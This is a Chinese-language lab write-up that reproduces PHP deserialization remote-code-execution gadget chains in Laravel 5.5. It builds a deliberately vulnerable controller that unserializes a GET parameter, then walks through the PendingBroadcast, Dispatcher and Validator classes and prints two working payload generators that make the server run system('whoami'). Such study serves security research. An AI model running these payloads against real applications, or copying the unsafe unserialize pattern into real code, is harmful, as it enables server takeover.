环境安装
composer create-project --prefer-dist laravel/laravel blog "5.5.*"
添加路由
route/web.phpRoute::get('/seri', "seriController@seri");
添加控制器
app/Http/Controllers/SeriController.php
<?phpnamespace App\Http\Controllers;class SeriController extends Controller{public function seri(){if(isset($_GET['code'])){$code = $_GET['code'];unserialize($code);}else{highlight_file(__FILE__);}return "Laravel 5.5";}}?>
漏洞复现
链子一
全局搜索 __destruct()
同样还是 /vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
public function __destruct(){$this->events->dispatch($this->event);}
了解我们知道为啥用这个入口:这是因为这里的两个参数都可控,我们有两个利用方式
第一是寻找可利用的 __call 方法
第二是是去掉调用任意类的 dispath()方法
全局搜搜 dispath 方法
/vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php
public function dispatch($event, $payload = [], $halt = false){// When the given "event" is actually an object we will assume it is an event// object and use the class as the event name and this event itself as the// payload to the handler, which makes object based events quite simple.list($event, $payload) = $this->parseEventAndPayload($event, $payload);...
foreach ($this->getListeners($event) as $listener) {$response = $listener($event, $payload);
这里的几个属性如果都可控,那么可能就可以进行命令执行
首先这里的 $event 是从 __destruct 方法调用进来的,所以属于我们可控的
接着我们跟进去看看 getListeners方法
public function getListeners($eventName){$listeners = $this->listeners[$eventName] ?? [];$listeners = array_merge($listeners, $this->getWildcardListeners($eventName));return class_exists($eventName, false)? $this->addInterfaceListeners($eventName, $listeners): $listeners;}
这里我们知道了,我们可控的参数 $this->listeners[] 为一个数组,而参数 $eventName 就是我们传输进来的 $event(也就是 $this->event)![CG~S9Q]Q]N@MRLI]`76${48.png](/uploads/projects/airtail@iq9sx5/3b27c2a9ff9b27961e2403de4f10f359.png)
所以这里默认结果是返回 $listeners
接着我们看到了 dispatch方法中进行了 foreach as 操作
这里我们控制了 $this->getListeners($event) 的值,也就控制了 $listener
我们可以令它为 call_user_func 或者 system 等值,就可以控制进行命令执行了
给一张网上找的攻击流程图
exp1
<?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;function __construct($events, $parameter){$this->events = $events;$this->event = $parameter;}}}namespace Illuminate\Events{class Dispatcher{protected $listeners;function __construct($function, $parameter){$this->listeners = [$parameter => [$function]];}}}namespace{$b = new Illuminate\Events\Dispatcher('system','whoami');$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');echo (serialize($a));}
链子二
同样我们是这个 destruct 入口
我们寻找 call 魔术方法
/vendor/laravel/framework/src/Illuminate/Support/Manager.php
这个链子5.4也存在
不打了
链子三
public function __call($method, $parameters){$rule = Str::snake(substr($method, 8));if (isset($this->extensions[$rule])) {return $this->callExtension($rule, $parameters);}throw new BadMethodCallException("Method [$method] does not exist.");}
这里的 $this->extensions[$rule] 是可控的
跟进 callExtension方法
protected function callExtension($rule, $parameters){$callback = $this->extensions[$rule];if (is_callable($callback)) {return call_user_func_array($callback, $parameters);} elseif (is_string($callback)) {return $this->callClassBasedExtension($callback, $parameters);}}
$callback 由 $this->extensions[$rule] 控制
$parameters 就是 call 中的 $parameters ,即 destruct 中的 $this->event
都属于可控的
我们需要去满足 if (isset($this->extensions[$rule])) 就可以进行rce了
$rule 的值 为 “”
因此只要我们设置为 “”
就可以进入 if 中

exp3
<?phpnamespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;function __construct($events, $event){$this->events = $events;$this->event = $event;}}}namespace Illuminate\Validation{class Validator{public $extensions;function __construct($function){$this->extensions = ['' => $function];}}}namespace{$b = new Illuminate\Validation\Validator('system');$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');echo (serialize($a));}
